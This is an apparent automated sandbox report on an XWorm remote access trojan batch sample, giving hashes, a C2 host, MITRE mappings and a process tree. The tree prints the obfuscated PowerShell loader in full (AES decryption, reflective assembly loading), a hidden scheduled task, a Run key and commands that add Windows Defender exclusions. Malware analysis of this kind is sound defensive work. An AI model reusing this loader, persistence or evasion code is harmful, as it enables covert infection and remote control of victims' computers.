xworm | 542b6ea0aba12f6502f2342d372d46039b8b418cdfdf9506b1590b0be9e5a69e

Analysis

max time kernel
211s
max time network
280s
platform
windows11-21h2_x64
resource
win11-20240508-en
resource tags

arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
submitted
01/06/2024, 10:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
testdefnotrat.bat
Size 88KB
Sample240601-mbdejsaf56
SHA256 542b6ea0aba12f6502f2342d372d46039b8b418cdfdf9506b1590b0be9e5a69e
MD5 71eb52a09a4d8406a53ca8e829457505
SHA1 82c75e4e2a359b516a21948cf7d97f25a12d5d03
SHA512 211a4f4cd622b7b90b5edaaeb741364e25d51156ba0d813b1d712924e7afab411f2654c955886e9b0dd8eaea1c19d956b55152be58a8aae6964b28ce4b3fe70c
SSDEEP 1536:kuExMUlSDovLUN3MrPFeOhnmuw0uFS4JUvGAjwa3i82LZ/jEej+A9+i:pEdSMUSrPX8RFS4mvvi8kca+i
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

movie-buddy.gl.at.ply.gg:40572

Attributes

Install_directory
%Public%
install_file
Runtime Broker.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/4056-44-0x00000171ABB90000-0x00000171ABBA6000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	4056	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2848	powershell.exe
4744	powershell.exe
4056	powershell.exe
1164	powershell.exe
4428	powershell.exe
4880	powershell.exe
3944	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Runtime Broker.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Runtime Broker.lnk	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1672260578-815027929-964132517-1000\Software\Microsoft\Windows\CurrentVersion\Run\Runtime Broker = "C:\\Users\\Public\\Runtime Broker.exe"	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
32	timeout.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1672260578-815027929-964132517-1000_Classes\Local Settings	powershell.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
2848	powershell.exe
2848	powershell.exe
4744	powershell.exe
4744	powershell.exe
4056	powershell.exe
4056	powershell.exe
4428	powershell.exe
4428	powershell.exe
4880	powershell.exe
4880	powershell.exe
3944	powershell.exe
3944	powershell.exe
1164	powershell.exe
1164	powershell.exe
4056	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2848	powershell.exe
Token: SeDebugPrivilege	4744	powershell.exe
Token: SeIncreaseQuotaPrivilege	4744	powershell.exe
Token: SeSecurityPrivilege	4744	powershell.exe
Token: SeTakeOwnershipPrivilege	4744	powershell.exe
Token: SeLoadDriverPrivilege	4744	powershell.exe
Token: SeSystemProfilePrivilege	4744	powershell.exe
Token: SeSystemtimePrivilege	4744	powershell.exe
Token: SeProfSingleProcessPrivilege	4744	powershell.exe
Token: SeIncBasePriorityPrivilege	4744	powershell.exe
Token: SeCreatePagefilePrivilege	4744	powershell.exe
Token: SeBackupPrivilege	4744	powershell.exe
Token: SeRestorePrivilege	4744	powershell.exe
Token: SeShutdownPrivilege	4744	powershell.exe
Token: SeDebugPrivilege	4744	powershell.exe
Token: SeSystemEnvironmentPrivilege	4744	powershell.exe
Token: SeRemoteShutdownPrivilege	4744	powershell.exe
Token: SeUndockPrivilege	4744	powershell.exe
Token: SeManageVolumePrivilege	4744	powershell.exe
Token: 33	4744	powershell.exe
Token: 34	4744	powershell.exe
Token: 35	4744	powershell.exe
Token: 36	4744	powershell.exe
Token: SeIncreaseQuotaPrivilege	4744	powershell.exe
Token: SeSecurityPrivilege	4744	powershell.exe
Token: SeTakeOwnershipPrivilege	4744	powershell.exe
Token: SeLoadDriverPrivilege	4744	powershell.exe
Token: SeSystemProfilePrivilege	4744	powershell.exe
Token: SeSystemtimePrivilege	4744	powershell.exe
Token: SeProfSingleProcessPrivilege	4744	powershell.exe
Token: SeIncBasePriorityPrivilege	4744	powershell.exe
Token: SeCreatePagefilePrivilege	4744	powershell.exe
Token: SeBackupPrivilege	4744	powershell.exe
Token: SeRestorePrivilege	4744	powershell.exe
Token: SeShutdownPrivilege	4744	powershell.exe
Token: SeDebugPrivilege	4744	powershell.exe
Token: SeSystemEnvironmentPrivilege	4744	powershell.exe
Token: SeRemoteShutdownPrivilege	4744	powershell.exe
Token: SeUndockPrivilege	4744	powershell.exe
Token: SeManageVolumePrivilege	4744	powershell.exe
Token: 33	4744	powershell.exe
Token: 34	4744	powershell.exe
Token: 35	4744	powershell.exe
Token: 36	4744	powershell.exe
Token: SeIncreaseQuotaPrivilege	4744	powershell.exe
Token: SeSecurityPrivilege	4744	powershell.exe
Token: SeTakeOwnershipPrivilege	4744	powershell.exe
Token: SeLoadDriverPrivilege	4744	powershell.exe
Token: SeSystemProfilePrivilege	4744	powershell.exe
Token: SeSystemtimePrivilege	4744	powershell.exe
Token: SeProfSingleProcessPrivilege	4744	powershell.exe
Token: SeIncBasePriorityPrivilege	4744	powershell.exe
Token: SeCreatePagefilePrivilege	4744	powershell.exe
Token: SeBackupPrivilege	4744	powershell.exe
Token: SeRestorePrivilege	4744	powershell.exe
Token: SeShutdownPrivilege	4744	powershell.exe
Token: SeDebugPrivilege	4744	powershell.exe
Token: SeSystemEnvironmentPrivilege	4744	powershell.exe
Token: SeRemoteShutdownPrivilege	4744	powershell.exe
Token: SeUndockPrivilege	4744	powershell.exe
Token: SeManageVolumePrivilege	4744	powershell.exe
Token: 33	4744	powershell.exe
Token: 34	4744	powershell.exe
Token: 35	4744	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4056	powershell.exe

Suspicious use of WriteProcessMemory 34 IoCs

description	pid	Process	procid_target
PID 2468 wrote to memory of 4896	2468	cmd.exe	80
PID 2468 wrote to memory of 4896	2468	cmd.exe	80
PID 4896 wrote to memory of 1652	4896	net.exe	81
PID 4896 wrote to memory of 1652	4896	net.exe	81
PID 2468 wrote to memory of 4252	2468	cmd.exe	83
PID 2468 wrote to memory of 4252	2468	cmd.exe	83
PID 2468 wrote to memory of 2848	2468	cmd.exe	84
PID 2468 wrote to memory of 2848	2468	cmd.exe	84
PID 2848 wrote to memory of 4744	2848	powershell.exe	86
PID 2848 wrote to memory of 4744	2848	powershell.exe	86
PID 2848 wrote to memory of 2128	2848	powershell.exe	89
PID 2848 wrote to memory of 2128	2848	powershell.exe	89
PID 2128 wrote to memory of 5032	2128	WScript.exe	90
PID 2128 wrote to memory of 5032	2128	WScript.exe	90
PID 5032 wrote to memory of 5016	5032	cmd.exe	92
PID 5032 wrote to memory of 5016	5032	cmd.exe	92
PID 5016 wrote to memory of 4692	5016	net.exe	93
PID 5016 wrote to memory of 4692	5016	net.exe	93
PID 5032 wrote to memory of 4916	5032	cmd.exe	94
PID 5032 wrote to memory of 4916	5032	cmd.exe	94
PID 5032 wrote to memory of 4056	5032	cmd.exe	95
PID 5032 wrote to memory of 4056	5032	cmd.exe	95
PID 4056 wrote to memory of 4428	4056	powershell.exe	96
PID 4056 wrote to memory of 4428	4056	powershell.exe	96
PID 4056 wrote to memory of 4880	4056	powershell.exe	98
PID 4056 wrote to memory of 4880	4056	powershell.exe	98
PID 4056 wrote to memory of 3944	4056	powershell.exe	100
PID 4056 wrote to memory of 3944	4056	powershell.exe	100
PID 4056 wrote to memory of 1164	4056	powershell.exe	102
PID 4056 wrote to memory of 1164	4056	powershell.exe	102
PID 4056 wrote to memory of 4824	4056	powershell.exe	104
PID 4056 wrote to memory of 4824	4056	powershell.exe	104
PID 4824 wrote to memory of 32	4824	cmd.exe	106
PID 4824 wrote to memory of 32	4824	cmd.exe	106

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\testdefnotrat.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2468
- C:\Windows\system32\net.exe
  net file
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4896
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:1652
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+WKBueDL4L1FT16N3OjCKcG9y3s3mFUHzyuIf86tPEU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rUjqYhV/L2MMJdm62N8dyg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $TVlkQ=New-Object System.IO.MemoryStream(,$param_var); $KyoqA=New-Object System.IO.MemoryStream; $udXwX=New-Object System.IO.Compression.GZipStream($TVlkQ, [IO.Compression.CompressionMode]::Decompress); $udXwX.CopyTo($KyoqA); $udXwX.Dispose(); $TVlkQ.Dispose(); $KyoqA.Dispose(); $KyoqA.ToArray();}function execute_function($param_var,$param2_var){ $jEjLJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $hWhkp=$jEjLJ.EntryPoint; $hWhkp.Invoke($null, $param2_var);}$nQXKO = 'C:\Users\Admin\AppData\Local\Temp\testdefnotrat.bat';$host.UI.RawUI.WindowTitle = $nQXKO;$uFeOn=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($nQXKO).Split([Environment]::NewLine);foreach ($BPgyp in $uFeOn) { if ($BPgyp.StartsWith('CxrQelWBbICNMckKrGWO')) { $RfNJq=$BPgyp.Substring(20); break; }}$payloads_var=[string[]]$RfNJq.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:4252
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2848
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_125_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_125.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4744
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_125.vbs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2128
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_125.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5032
    - - C:\Windows\system32\net.exe
        
        net file
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:5016
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 file
        6⤵
        
        PID:4692
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+WKBueDL4L1FT16N3OjCKcG9y3s3mFUHzyuIf86tPEU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rUjqYhV/L2MMJdm62N8dyg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $TVlkQ=New-Object System.IO.MemoryStream(,$param_var); $KyoqA=New-Object System.IO.MemoryStream; $udXwX=New-Object System.IO.Compression.GZipStream($TVlkQ, [IO.Compression.CompressionMode]::Decompress); $udXwX.CopyTo($KyoqA); $udXwX.Dispose(); $TVlkQ.Dispose(); $KyoqA.Dispose(); $KyoqA.ToArray();}function execute_function($param_var,$param2_var){ $jEjLJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $hWhkp=$jEjLJ.EntryPoint; $hWhkp.Invoke($null, $param2_var);}$nQXKO = 'C:\Users\Admin\AppData\Roaming\Windows_Log_125.bat';$host.UI.RawUI.WindowTitle = $nQXKO;$uFeOn=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($nQXKO).Split([Environment]::NewLine);foreach ($BPgyp in $uFeOn) { if ($BPgyp.StartsWith('CxrQelWBbICNMckKrGWO')) { $RfNJq=$BPgyp.Substring(20); break; }}$payloads_var=[string[]]$RfNJq.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        5⤵
        
        PID:4916
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Drops startup file
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:4056
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4428
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4880
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\Runtime Broker.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3944
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Runtime Broker.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1164
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp2716.tmp.bat""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4824
        
        C:\Windows\system32\timeout.exe
        
        timeout 3
        7⤵
        Delays execution with timeout.exe
        
        PID:32

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6
MD5 df472dcddb36aa24247f8c8d8a517bd7
SHA1 6f54967355e507294cbc86662a6fbeedac9d7030
SHA512 06383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca
MD5 SHA1 SHA512

Submit Download

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 1KB
SHA256 214be9e8293b00fc05089068033edb41da350e0f127dd782bf6cb748000a56a5
MD5 3ec0d76d886b2f4b9f1e3da7ce9e2cd7
SHA1 68a6a2b7b0fa045cd9cf7d63d4e30600a7b25dea
SHA512 a49d758d03e3a7bc38be29d577c3e0d0c69eb08d0496a81b9406b446c5808d7dfbab39c5be3b45cbb4aec511d87c6166453cbd12cebe5d8663a60b5d773206c6
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 0a2b951533b29655270b941077bbf34ba21a5a59aebaf9948130ff31c7adf808
MD5 20573d05fc1acef706ffbdd4dc9f45dc
SHA1 defd35463b3433657ebb00de76d5f0cd0b81c81b
SHA512 8eca0f79e84f4018dd01d5c24b3f7e3b62a8ed7b186e1d918d4452e8f0c7a66b5e92efb74b76d22339a8bad7818147ee486582b384ca99db31e44e3219daf7b7
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 f810e63ccdc0cbb4f587323d6c83baf9252ed2a71ee5951dd646a51069000405
MD5 0c07692919bae44a6c52439fed073338
SHA1 e32771a60f0bc601eb817bd812155477199aaea7
SHA512 01394439fab8cd7063387ef427d756a3844fc9f28d3577e0099990f65ffee1a9d5235ec5ab051841832d3ffb04db811561baede6c3b37178c09fa7257e500733
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 d44590cb55e999c1e0abdd9932e00ddde1bc637ac3eb7d02374ace88479f2f50
MD5 f28832ecd9829ee81bb32f98f0747445
SHA1 ac0dc6c286da7b0b7b1b595aaf4f8877e1304125
SHA512 3b72129f951df7d4b2437ed761ff00ea9dc046a284665a3036b9c86fd20626435f775ec2bb9665435b7d8ec6a211e6c54d1debae75b5ae8778797b3485a163fa
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 6add231bbd51ead7de16ce1fd3a6c43fcf05fbb3301ac23705e371e835b20a73
MD5 ca8714c6f4f79aab61db3cd5f6b113cf
SHA1 de8a46cec8b3a4782c915d9ae9a8adc60885a06c
SHA512 90dc5f0e0c97eed62c9951b823b74a4b97f670025086a852bda84737ff77aaf965fe4c2f9d2fa0214d32d66564191a83752a4a4f8cb3db92ad3ba0a35c40592f
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_yb3tl2gh.gc0.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yb3tl2gh.gc0.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

tmp2716.tmp.bat

Path C:\Users\Admin\AppData\Local\Temp\tmp2716.tmp.bat
Size 171B
SHA256 9920d6a5bb19c9b0b4e6a33e3188e1cde11c8ee42e8efd9c029cfb240d959a2e
MD5 48910fa021d7b2b6399ce8c910435726
SHA1 97601d41f513f63b6d8c4f3e076550309cef79ad
SHA512 73ca8cbd28f6d32fc8a4b4876a9c0a7c34d73e623b58e050f30b27dd9f518059b7d90ec20383d55d12c60f02337e5541bd5417cbaec3cb70d47e89a86e49330e
MD5 SHA1 SHA512

Submit Download

Windows_Log_125.bat

Path C:\Users\Admin\AppData\Roaming\Windows_Log_125.bat
Size 88KB
SHA256 542b6ea0aba12f6502f2342d372d46039b8b418cdfdf9506b1590b0be9e5a69e
MD5 71eb52a09a4d8406a53ca8e829457505
SHA1 82c75e4e2a359b516a21948cf7d97f25a12d5d03
SHA512 211a4f4cd622b7b90b5edaaeb741364e25d51156ba0d813b1d712924e7afab411f2654c955886e9b0dd8eaea1c19d956b55152be58a8aae6964b28ce4b3fe70c
SSDEEP 1536:kuExMUlSDovLUN3MrPFeOhnmuw0uFS4JUvGAjwa3i82LZ/jEej+A9+i:pEdSMUSrPX8RFS4mvvi8kca+i
MD5 SHA1 SHA512 SSDEEP

Submit Download

Windows_Log_125.vbs

Path C:\Users\Admin\AppData\Roaming\Windows_Log_125.vbs
Size 115B
SHA256 fce724a9ba260b20ea20e0b1720248bed6690cbbfd464855a9af2ec6f896ceae
MD5 ee26fda3d06453831902cb66fb88ae2b
SHA1 ae85cb1898cd09d5598fde71d4c14c1716f2b5b4
SHA512 fd60072953b55a8e03ff8146f684902744b1ca34bcc61ffe0fb8696dbb29ae4af965f1bf322796e591b310cd9a662fc26b7a01ec5e8d43a185916ddbae20ddf7
MD5 SHA1 SHA512

Submit Download

memory/2848-0-0x00007FFB81333000-0x00007FFB81335000-memory.dmp

Download

memory/2848-14-0x0000028218830000-0x0000028218838000-memory.dmp

Download

memory/2848-15-0x0000028218840000-0x0000028218852000-memory.dmp

Download

memory/2848-43-0x00007FFB81330000-0x00007FFB81DF2000-memory.dmp

Download

memory/2848-13-0x000002827FA30000-0x000002827FA76000-memory.dmp

Download

memory/2848-12-0x00007FFB81330000-0x00007FFB81DF2000-memory.dmp

Download

memory/2848-11-0x00007FFB81330000-0x00007FFB81DF2000-memory.dmp

Download

memory/2848-9-0x000002827DDB0000-0x000002827DDD2000-memory.dmp

Download

memory/2848-10-0x00007FFB81330000-0x00007FFB81DF2000-memory.dmp

Download

memory/4056-44-0x00000171ABB90000-0x00000171ABBA6000-memory.dmp

Download